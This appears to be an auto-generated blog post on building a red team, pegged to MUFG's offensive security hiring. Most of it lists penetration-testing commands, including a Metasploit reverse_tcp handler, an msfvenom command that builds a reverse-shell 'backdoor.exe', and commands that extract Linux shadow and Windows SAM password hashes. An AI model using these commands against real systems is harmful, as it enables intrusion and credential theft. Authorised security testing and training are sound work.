How To Build A Red Team: Offensive Security Capabilities In Cybersecurity

MUFG is heavily investing in offensive security capabilities, building a global team of penetration testers, red teamers, and vulnerability researchers. This initiative focuses on adversary simulation, attack surface management, and risk mitigation. Below are key steps, commands, and tools used in red teaming and penetration testing.

You Should Know:

1. Setting Up a Red Team Environment

Use Kali Linux (pre-installed with penetration testing tools).

Deploy Metasploit Framework for exploit development:

sudo apt update && sudo apt install metasploit-framework 
msfconsole

Configure Cobalt Strike for adversary simulation (licensed tool).

2. Conducting Penetration Tests

Network Scanning with Nmap:
```
nmap -sV -A -T4 target_IP 
```
Vulnerability Scanning with Nessus/OpenVAS:
```
openvas-start 
```

Exploiting Vulnerabilities with Metasploit:

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp 
exploit

3. Red Team Operations

Phishing Simulation with GoPhish:
```
sudo apt install gophish 
./gophish 
```

Privilege Escalation (Linux):

sudo -l 
find / -perm -4000 2>/dev/null

Privilege Escalation (Windows):

whoami /priv 
Get-WmiObject -Class Win32_Product

4. Post-Exploitation & Persistence

Meterpreter Session Management:
```
sessions -i 
migrate <PID> 
```

Creating Backdoors:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe > backdoor.exe

5. Reporting & Risk Mitigation

Use Dradis Framework for collaborative reporting:
```
sudo apt install dradis 
```
Generate executive summaries with Faraday IDE.

What Undercode Say:

Building a red team requires a mix of technical expertise, strategic planning, and continuous training. Organizations must invest in:
– Adversary Simulation Tools (Cobalt Strike, Metasploit).
– Threat Intelligence Platforms (MISP, AlienVault).
– Automated Security Testing (Burp Suite, OWASP ZAP).

Key Linux & Windows Commands for Red Teaming:

 Linux: Check open ports 
ss -tulnp

Windows: Check active connections 
netstat -ano

Linux: Extract password hashes 
unshadow /etc/passwd /etc/shadow > hashes.txt

Windows: Dump SAM hashes 
reg save HKLM\SAM sam.save

Prediction:

As cyber threats evolve, red teaming will shift towards AI-driven attack simulations and cloud-based penetration testing. Organizations must adopt continuous security validation to stay ahead.

Expected Output:

A fully functional red team capable of simulating real-world attacks, identifying vulnerabilities, and improving defensive strategies.

Relevant URLs:

IT/Security Reporter URL:

Reported By: Twcheng Mufg – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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